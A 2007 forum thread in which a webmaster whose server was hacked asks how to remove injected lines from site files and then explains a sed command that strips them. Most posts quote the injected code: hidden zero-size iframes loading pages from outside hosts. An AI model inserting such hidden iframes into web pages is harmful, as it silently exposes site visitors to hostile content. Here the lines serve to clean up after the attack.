473,394 Members | 1,761 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 473,394 software developers and data experts.

plz help with gawk find and remove

cassbiz
202 100+
Our old machine was hacked and I need to remove a line from just about every *.htm*, *.php, *.cgi, etc... file

the lines that I need to remove are I have read up on gawk but most of the stuff I see out there looks like they are being written into a .sh script.


Expand|Select|Wrap|Line Numbers
  1. <html><iframe width=0 height=0 frameborder=0 src=http://www.o00o.info/portal/index.php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>
  2. <html><iframe width=0 height=0 frameborder=0 src=http://www.kgeba.com/portal/index.php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>
  3.  
Feb 6 '07 #1
2 2598
Motoma
3,237 Expert 2GB
Our old machine was hacked and I need to remove a line from just about every *.htm*, *.php, *.cgi, etc... file

the lines that I need to remove are I have read up on gawk but most of the stuff I see out there looks like they are being written into a .sh script.


Expand|Select|Wrap|Line Numbers
  1. <html><iframe width=0 height=0 frameborder=0 src=http://www.o00o.info/portal/index.php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>
  2. <html><iframe width=0 height=0 frameborder=0 src=http://www.kgeba.com/portal/index.php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no></iframe></html>
  3.  
I would think that sed would be the perfect command to use for this.
Feb 6 '07 #2
cassbiz
202 100+
the command for sed is the following


Expand|Select|Wrap|Line Numbers
  1. sed 's/<html><iframe width=0 height=0 frameborder=0 src=http:\/\/www[.]kgeba[.]com\/portal\/index[.]php?aff=razec marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true scrolling=no><\/iframe><\/html>/\&nbsp;/g' index.html > TMPFILE && mv TMPFILE index.html
  2.  
So if anyone else runs into the problem of finding a string and replacing it the following applies

The first part is the command

bash-3.00$ sed 's

then the string starting at the forward slash

/

to the next forward slash

/

if you have other slashes in the string that you are finding then you must add a back slash \ in order for it to continue. Also dots have to be surround by brackets

Expand|Select|Wrap|Line Numbers
  1. [.]
  2.  
after the second forward slash then is the replacement string. In this case \&nbsp;

then to the closing which is

Expand|Select|Wrap|Line Numbers
  1. /g'
  2.  
then follows the name of the file you want to change 'index.html' and here is where is screwed up and it didn't work for me. Everything has to be written to a temp file

Expand|Select|Wrap|Line Numbers
  1. > TMPFILE && mv TMPFILE 
  2.  
then overwrite the original file which in this case is index.html

Now a note.

Do not do this as root for it will chown itself to root.root. Do this as the user in the directory that you are doing it or you will be having double the work in chown'ing everything back to the correct user.
Feb 7 '07 #3

Sign in to post your reply or Sign up for a free account.

Similar topics

0
by: Slavik | last post by:
All libraries were installed (precompiled) This is FreeBSD 5.1 installed zlib, installed jpeg and png libraries (in default directories) GD 2.0.11 source is in /usr/gd-2.0.11 (compiled and...
4
by: Jeff Lambert | last post by:
I saw something similar on the sourceforge bugs list but it was from 2001 so I assume it's fixed by now. O/S: WinXP SP2 and WinCE. Expat lib linked in VC++ 6 SP6. I have the following XML...
5
by: christopher.c.brewster | last post by:
A few years ago my department defined a DTD for a projected class of documents. Like the US Constitution, this DTD has details that are never actually used, so I want to clean it up. Is there any...
7
by: mike henkins | last post by:
hi, I've been looking through the various XML parsers API available and I have decided to use the SAX parser. Probably not the best of choices but I think it can do the job. What is the best way...
2
by: rick | last post by:
Greetings, I am trying to generate an html table that looks through the following xml source and lists links to all of the files (resource-file) and finds the resource-forms that match those...
40
by: raphfrk | last post by:
I have a program which reads in 3 filenames from the command line prog filename1 filename2 filename3 However, it doesn't work when one of the filenames has spaces in it (due to a directory...
2
by: karinmorena | last post by:
I'm having 4 errors, I'm very new at this and I would appreciate your input. The error I get is: Week5MortgageGUI.java:151:cannot find symbol symbol: method allInterest(double,double,double)...
12
by: Stu | last post by:
Being a newbie with XSLT transformation code please excuse my neivte. In addition, I am not sure what I want to do can be done with xslt so I apologize up front for asking anything stupid I...
5
matheussousuke
by: matheussousuke | last post by:
Hello, I'm using tiny MCE plugin on my oscommerce and it is inserting my website URL when I use insert image function in the emails. The goal is: Make it send the email with the URL...
0
by: Charles Arthur | last post by:
How do i turn on java script on a villaon, callus and itel keypad mobile phone
0
by: ryjfgjl | last post by:
If we have dozens or hundreds of excel to import into the database, if we use the excel import function provided by database editors such as navicat, it will be extremely tedious and time-consuming...
0
by: emmanuelkatto | last post by:
Hi All, I am Emmanuel katto from Uganda. I want to ask what challenges you've faced while migrating a website to cloud. Please let me know. Thanks! Emmanuel
1
by: Sonnysonu | last post by:
This is the data of csv file 1 2 3 1 2 3 1 2 3 1 2 3 2 3 2 3 3 the lengths should be different i have to store the data by column-wise with in the specific length. suppose the i have to...
0
by: Hystou | last post by:
There are some requirements for setting up RAID: 1. The motherboard and BIOS support RAID configuration. 2. The motherboard has 2 or more available SATA protocol SSD/HDD slots (including MSATA, M.2...
0
Oralloy
by: Oralloy | last post by:
Hello folks, I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>". The problem is that using the GNU compilers,...
0
jinu1996
by: jinu1996 | last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven...
0
by: Hystou | last post by:
Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows...
0
tracyyun
by: tracyyun | last post by:
Dear forum friends, With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.